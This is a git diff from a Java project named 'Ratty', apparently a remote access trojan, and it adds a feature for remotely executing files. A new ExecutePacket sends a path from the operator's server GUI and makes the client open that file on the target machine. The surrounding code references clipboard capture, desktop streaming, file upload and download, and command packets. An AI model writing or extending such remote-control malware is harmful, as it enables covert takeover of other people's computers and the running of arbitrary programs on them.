diff --git a/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java b/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java new file mode 100644 index 0000000..76ce638 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java @@ -0,0 +1,49 @@ +package de.sogomn.rat.packet; + +import java.awt.Desktop; +import java.awt.Desktop.Action; +import java.io.File; +import java.io.IOException; + +import de.sogomn.rat.ActiveClient; + +public final class ExecutePacket implements IPacket { + + private String path; + + public ExecutePacket(final String path) { + this.path = path; + } + + public ExecutePacket() { + this(""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(path); + } + + @Override + public void receive(final ActiveClient client) { + path = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final File file = new File(path); + + if (Desktop.isDesktopSupported() && file.exists()) { + final Desktop desktop = Desktop.getDesktop(); + + if (desktop.isSupported(Action.OPEN)) { + try { + desktop.open(file); + } catch (final IOException ex) { + ex.printStackTrace(); + } + } + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index df48f79..53d988c 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -13,7 +13,8 @@ public enum PacketType { CLIPBOARD(8, ClipboardPacket.class), FILE(9, FileSystemPacket.class), DOWNLOAD(10, DownloadPacket.class), - UPLOAD(11, UploadPacket.class); + UPLOAD(11, UploadPacket.class), + EXECUTE(12, ExecutePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 8eb8c39..95baf23 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -170,6 +170,12 @@ public final class FileTreePanel { return getByName(node, remainingPath); } + private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String path) { + final String[] pathParts = path.split("\\" + File.separator); + + return getByName(start, pathParts); + } + private void addAll(final DefaultMutableTreeNode root, final String[] path) { if (path.length == 0) { return; @@ -229,6 +235,18 @@ public final class FileTreePanel { removeFile(pathParts); } + public void removeChildren(final String path) { + final DefaultMutableTreeNode node = getByName(root, path); + + if (node != null) { + final DefaultMutableTreeNode[] children = getChildren(node); + + for (final DefaultMutableTreeNode child : children) { + treeModel.removeNodeFromParent(child); + } + } + } + public void setVisible(final boolean state) { dialog.setVisible(state); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 599c382..fda5826 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -12,6 +12,7 @@ import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DownloadPacket; +import de.sogomn.rat.packet.ExecutePacket; import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; @@ -88,7 +89,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String path = treePanel.getLastPathClicked(); final FileSystemPacket packet = new FileSystemPacket(path); - treePanel.removeFile(path); + treePanel.removeChildren(path); return packet; } else if (command == FileTreePanel.DOWNLOAD) { @@ -108,6 +109,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return packet; } + } else if (command == FileTreePanel.EXECUTE) { + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastPathClicked(); + final ExecutePacket packet = new ExecutePacket(path); + + return packet; } return null;